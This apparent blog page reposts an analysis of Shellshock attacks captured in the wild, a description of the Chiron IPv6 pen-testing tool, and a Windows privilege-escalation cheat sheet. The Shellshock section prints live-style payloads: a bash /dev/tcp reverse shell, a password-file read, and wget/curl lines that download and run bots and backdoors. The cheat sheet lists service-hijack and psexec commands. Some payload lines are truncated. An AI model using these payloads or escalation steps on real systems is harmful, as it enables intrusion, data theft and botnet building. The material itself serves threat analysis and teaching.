Oct 5, 2014

Some payload of real attack with ShellShock

Automated Click Fraud

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.
Accept: () { :;}; /bin/ -c "curl

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

GET /cgi-bin/ HTTP/1.1
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/ 0>&1'

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.
Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

Stealing the Password File

GET /cgi-bin/status/status.cgi HTTP/1.1
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.
After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.
The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.
Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.
The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;
Host: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;
Referer: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from:

UDP Flood

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget > /var/www/conf.php; wget
‪txt > /var/www/html/conf.php
Host: () { :; }; wget > /var/www/conf.php; wget > /var/www/html/conf.php
Referer: () { :; }; wget > /var/
‪www/conf.php; wget > /var/www/html/conf.php

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

GET / HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/ 0>&1'
Host: <domain>
Connection: Close

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:
rm -rf /tmp/.lCE-unix;echo 
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix;perl /tmp/.lCE-unix 
443;rm -rf /tmp/.lCE-unix;uptime

The commands above Base64 decode the initial string into the following python code below and execute it with Python.
import urllib;urllib.urlretrieve ("", "/tmp/.lCE-unix")

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to on port 443.

Another Perl.Shellbot Variant

GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"
Host: <domain>

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to on port 6667.

Tiny Reverse Shell ELF Executable

GET /cgi-
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 
; then /usr/bin/wget -O /tmp/.osock; 
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock; 
/curl -o /tmp/.osock; else /usr/bin/wget -O /tmp/.osock; /usr/bin/lwp-download 
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 
/bin/grep 64) ; then /usr/bin/wget -O 
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from:

Source:: http://www.fireeye.com/blog/uncategorized/2014/09/shellshock-in-the-wild.html

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Chiron - An All-In-One IPv6 Penetration Testing Framework

Last week I had the pleasure to give you my impressions regarding my experience about hacking for b33r at Ghent, that is, my participation at BruCON 2014 hacking conference. As I said among else, the reason that I was there was to present Chiron, my IPv6 penetration testing/security assessment framework, which was supported by the Brucon 5×5 program. The first version of Chiron had been presented at Troopers 14, during the IPv6 Security Summit.

But what exactly is Chiron and what are the differences, if any, from other well-known IPv6 penetration testing frameworks? I will try to give you an idea quite briefly. For motivation purposes, just allow me to say before starting to describe it, that it is this tool we used to find evasion vulnerabilities at popular IDPS appliances, like Tipping Point and Suricata, to run the RISC project, to prepare our BlackHat US 2014 and the upcoming BlackHat EU 2014 presentations, etc.
But, let’s start. Chiron is a multi-threaded tool written in Python and based on Scapy. It can run on Linux systems and it is comprised of the following modules:
  • IPv6 Scanner
  • IPv6 Link Local Messages Creation Tool
  • IPv4-to-IPv6 Proxy
All the above modules are supported by a common library that allows the creation of completely arbitrary IPv6 header chains, fragmented or not.
Chiron must be run with root privileges, it provides just a CLI (sorry GUI fans…), but it is accompanied by a detailed – with examples – documentation. A good knowledge of the corresponding IPv6 RFCs is a plus if you want to use its advanced features.
One significant difference in comparison with other IPv6 pen-testing tools is that it does not implement out-of-the-box some well-known attacks, such as the SLAAC attack, Router DoS or redirections attacks, etc., but it allows you to do so by constructing and sending – very easily – the required packets to achieve these attacks on your own. But the main focus of Chiron is on the construction of arbitrary header chains. This capability can be used:
  • To test the IPv6 protocol design.
  • To test the IPv6 protocol implementation.
  • To evade IDS/IPS devices, firewalls, or other security or networking devices.
  • To fuzz IPv6-capable devices regarding the handling of IPv6 extension headers and their parameters.
But, let’s start.
The Chiron Scanner module incorporates most of the usual scanning techniques known from other tools like nmap plus some IPv6-specific (e.g. IPv6 multicast ping, etc.). You can use as destinations:
  • list of IPv6 addresses.
  • IPv6 subnets (just be careful, if you want to finish before the end of the life of the universe…).
  • IPv6 ranges like 2001:db8::1-ffff
  • “Smart” scan combinations (by combining suffixes like ‘face’, ‘b00c’, ‘beef’, etc).
Please “Read The Fine Manual” (RTFM) for more info and more capabilities (source spoofing, defining MAC addresses, etc.).
The Chiron Link-Local module supports the following messages:
  • Router Advertisement Messages
  • Router Solicitation Messages
  • Neighbor Advertisement Messages
  • Neighbor Solicitation Messages
  • Router Redirect
  • Packet Too Big
  • MLD/MLDv2 Messages (Queries, Reports, Done)
You can define on them every single parameter. Doing so, you can launch several attacks, like the ones mentioned above. Again, the accompanied documentation is your friend.
The other module is the IPv4-to-IPv6 Proxy. The purpose of this tool is the following. Many of our favourite penetration testing tools do not support, at least not yet, IPv6 and hence, we cannot use them against IPv6 “targets”. However, even if they do so, they are used exactly in the same way as it was used to be in IPv4. That is, they do not “exploit” all the features and the capabilities of the IPv6 protocols, such as the IPv6 Extension Headers.
This module of the framework operates like a proxy between the IPv4 and the IPv6 protocol. It is not a common proxy like web proxy, because it operates at layer 3. It accepts packets at a specific IPv4 address, extracts the layer-4 header and its payload, and sends them to a “target” using IPv6 but adding optionally one or more IPv6 extension headers.

Source:: http://www.insinuator.net/2014/10/chiron-an-all-in-one-ipv6-penetration-testing-framework/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: (Summary) Privilege Escalation Technique

1. Clear Text Passwords Stored in Files
- dir  /s *pass*
- dir  /s *cre*
- dir  /s *vnc*
- dir  /s *.conf
- type C:\sysprep.inf [clear]
- type C:\sysprep\sysprep.xml [base64]
- Metasploit Module "post/windows/gather/credentials/*"
- %WINDIR%\Panther\Unattend
- Metasploit Module "auxiliary/dcerpc/windows_deployment_services" (http://technet.microsoft.com/en-us/library/cc766271%28v=ws.10%29.aspx)

2. Clear Text Passwords Stored in the Registry

3. Write Access to the System32 Directory
Accessibility programs such system32\sethc.exe (Sticky Keys), and system32\utilman.exe (Windows Utility Manager) can be used to gain SYSTEM level access by replacing their executables with cmd.exe. This works because Windows doesn’t perform any file integrity checks on those files prior to login. As a result, users can create a local administrator account and disable anti-virus, among many other creative possibilities. This is one of my favorites. I hope you enjoy it as much as I have.

4. Write Access to the All Users Startup Folder Every user on a Windows operating system has his or her own Windows startup folder that is used to start programs just for them when they log on. As luck would have it, there is also a Windows startup folder that contains programs that run for (you guessed it) ALL users when they log on. If unprivileged users have the ability to write to that directory, they can escalate their privileges on the local system and potentially the network by placing an evil executable or script in the directory and tricking a trusting user into logging into their machine.

5. Insecurely Registered Executables: When a program is installed as a Windows service or logon application, it is required to register with Windows by supplying a path to the program’s executable. If it is not registered securely, penetration testers may be able to escalate their privileges on the system by running commands under the context of the service user.

6. Windows Services Running as SYSTEM
Lots of services run as SYSTEM, but not all of them protect their files and registry keys with strong access controls
- Binpath Service Modify
-- accesschk.exe -uwcq * | findstr /v AUTHORITY | findstr /v Administrators
-- sc config badsrvc binpath="net use /add hacker" type=interact
-- sc start badsrvc
-- sc stop badsrvc

7. Weak Application Configurations: I’ve found weak application configurations during every penetration test I’ve ever done, and in many cases they can be leveraged to gain SYSTEM-level access. Even in an age of application hardening guides and industry compliance requirements, I regularly find applications like IIS and MSSQL running as SYSTEM instead of a least privilege service account.

8. Windows At Command:
The “AT” command is a tool that is used to schedule tasks in Windows. By default, in earlier versions of the Windows operating system the “AT” command was run as SYSTEM. As a result, users can gain access to a console with SYSTEM access when they schedule the cmd.exe as a task.

9. Install a User-Defined Service: In some cases Windows users may have excessive rights that allow them to create services on the system using the Instrsrv.exe and Srvany.exe tools that come with the Windows NT resource kit. Instsrv.exe is used to install a program as a service, and Srvany.exe is used to run the program as a service. By default, the services installed with instsrv.exe should be configured to automatically start at boot time. However, you can also use the sc.exe command to ensure that it is configured how you want it. Either way, a restart may be required depending on your existing privileges. I’ve personally seen users in the “Power Users” group with the ability to install their own services, but it may be a coincidence

10. Local and Remote Exploits:  Managing and distributing patches for third-party software seem to be among the greatest challenges facing IT today. This is bad news for IT, but good news for penetration testers, because it leaves vectors of attack open. Exploiting local and remote vulnerabilities can provide SYSTEM-level access with very little effort, and—with a little luck—domain administrator access. 
- psexec -i -s -d cmd.exe


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.